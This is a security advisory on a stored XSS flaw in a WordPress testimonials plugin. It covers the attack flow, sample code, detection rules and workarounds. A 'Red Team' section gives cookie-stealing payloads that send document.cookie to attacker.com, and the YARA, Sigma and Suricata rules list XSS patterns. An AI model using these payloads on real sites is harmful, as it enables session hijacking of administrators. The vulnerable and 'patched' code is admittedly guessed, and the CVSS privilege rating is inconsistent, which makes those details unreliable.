CVE-2024-37553

Executive Summary

CVE-2024-37553 is a Stored Cross-Site Scripting (XSS) vulnerability in the Testimonials Widget plugin for WordPress, developed by Axelerant. The flaw exists in versions from n/a through 4.0.4, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts into testimonial entries. When an administrator or other user views the testimonials page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score is 6.5 (Medium), with a low EPSS probability of exploitation (0.0%). No public exploit code or Nuclei template is currently available, but the attack vector is straightforward for any authenticated user with the ability to submit or edit testimonials.

Supply Chain & Package Security

The vulnerable component is a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; however, since the vendor has not released a patch, users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires contributor-level access or higher.
• User Interaction (UI): Required (R) – The victim must view the malicious testimonial.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be significant if an administrator is targeted.

Deep Dive & Mechanics

The Testimonials Widget plugin allows users to submit testimonials via a front-end form or through the WordPress admin panel. The vulnerability lies in the improper sanitization of the testimonial_content field. When a testimonial is saved, the plugin does not escape HTML tags or JavaScript, allowing an attacker to inject arbitrary scripts.

Attack Flow:

1. An authenticated user (e.g., contributor) navigates to the "Add New Testimonial" page.
2. The attacker enters a payload such as <script>alert('XSS')</script> in the testimonial content field.
3. The plugin stores the payload in the WordPress database without sanitization.
4. When an administrator or any user views the testimonials page (e.g., via a shortcode or widget), the script executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying wp_kses() or esc_html() to the testimonial content.

Vulnerable vs. Patched Code

Vulnerable Code (version 4.0.4):

// In testimonials-widget.php or similar
function display_testimonial($post) {
    $content = $post->post_content;
    echo '<div class="testimonial-content">' . $content . '</div>';
}

Patched Code (hypothetical fix):

function display_testimonial($post) {
    $content = wp_kses_post($post->post_content); // Sanitize HTML
    echo '<div class="testimonial-content">' . esc_html($content) . '</div>';
}

The patched version uses esc_html() to escape all HTML tags, preventing script execution. Alternatively, wp_kses_post() can be used to allow safe HTML while stripping dangerous elements.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Testimonials Widget <= 4.0.4.
• An account with at least "Contributor" role.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to wp-admin/post-new.php?post_type=testimonial.
3. In the testimonial content field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the testimonial.
5. Wait for an administrator to view the testimonials page (e.g., /testimonials/).
6. The admin’s cookies are exfiltrated to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor for unusual testimonial submissions containing <script>, <img onerror>, or onload attributes.
• Review WordPress logs for suspicious post content.

Prevention:

• Disable the plugin until a patch is available.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict testimonial submission to trusted users only.

Honeypot:

• Create a fake testimonial form and monitor for injected scripts to identify attackers.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• File: Modified wp_posts table entries containing <script> tags in post_content.
• Log: WordPress debug log entries showing wp_kses failures or unusual post content.
• Browser: Unexpected pop-ups or redirects when viewing testimonials.

Example IOC (Database Query):

SELECT ID, post_content FROM wp_posts WHERE post_type = 'testimonial' AND post_content LIKE '%<script%';

Detection Engineering

YARA Rule

rule CVE_2024_37553_Testimonials_XSS {
    meta:
        description = "Detects stored XSS payloads in Testimonials Widget plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37553"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Testimonials Widget Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Testimonials Widget plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post-new.php?post_type=testimonial"
        http.body|contains: 
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in testimonials (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37553 Stored XSS in Testimonials Widget"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post-new.php?post_type=testimonial"; http_uri; content:"<script>"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Remove all testimonials containing suspicious content.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term Fix:

• Since no official patch exists, consider forking the plugin and applying the fix described in the "Vulnerable vs. Patched Code" section.
• Alternatively, replace the plugin with a maintained alternative that properly sanitizes input.

Workaround:

• Add a custom function to your theme’s functions.php to sanitize testimonial content:

add_filter('the_content', 'sanitize_testimonial_content', 10, 1);
function sanitize_testimonial_content($content) {
    if (get_post_type() == 'testimonial') {
        $content = esc_html($content);
    }
    return $content;
}

Valters IT – Securing digital ecosystems through proactive threat intelligence.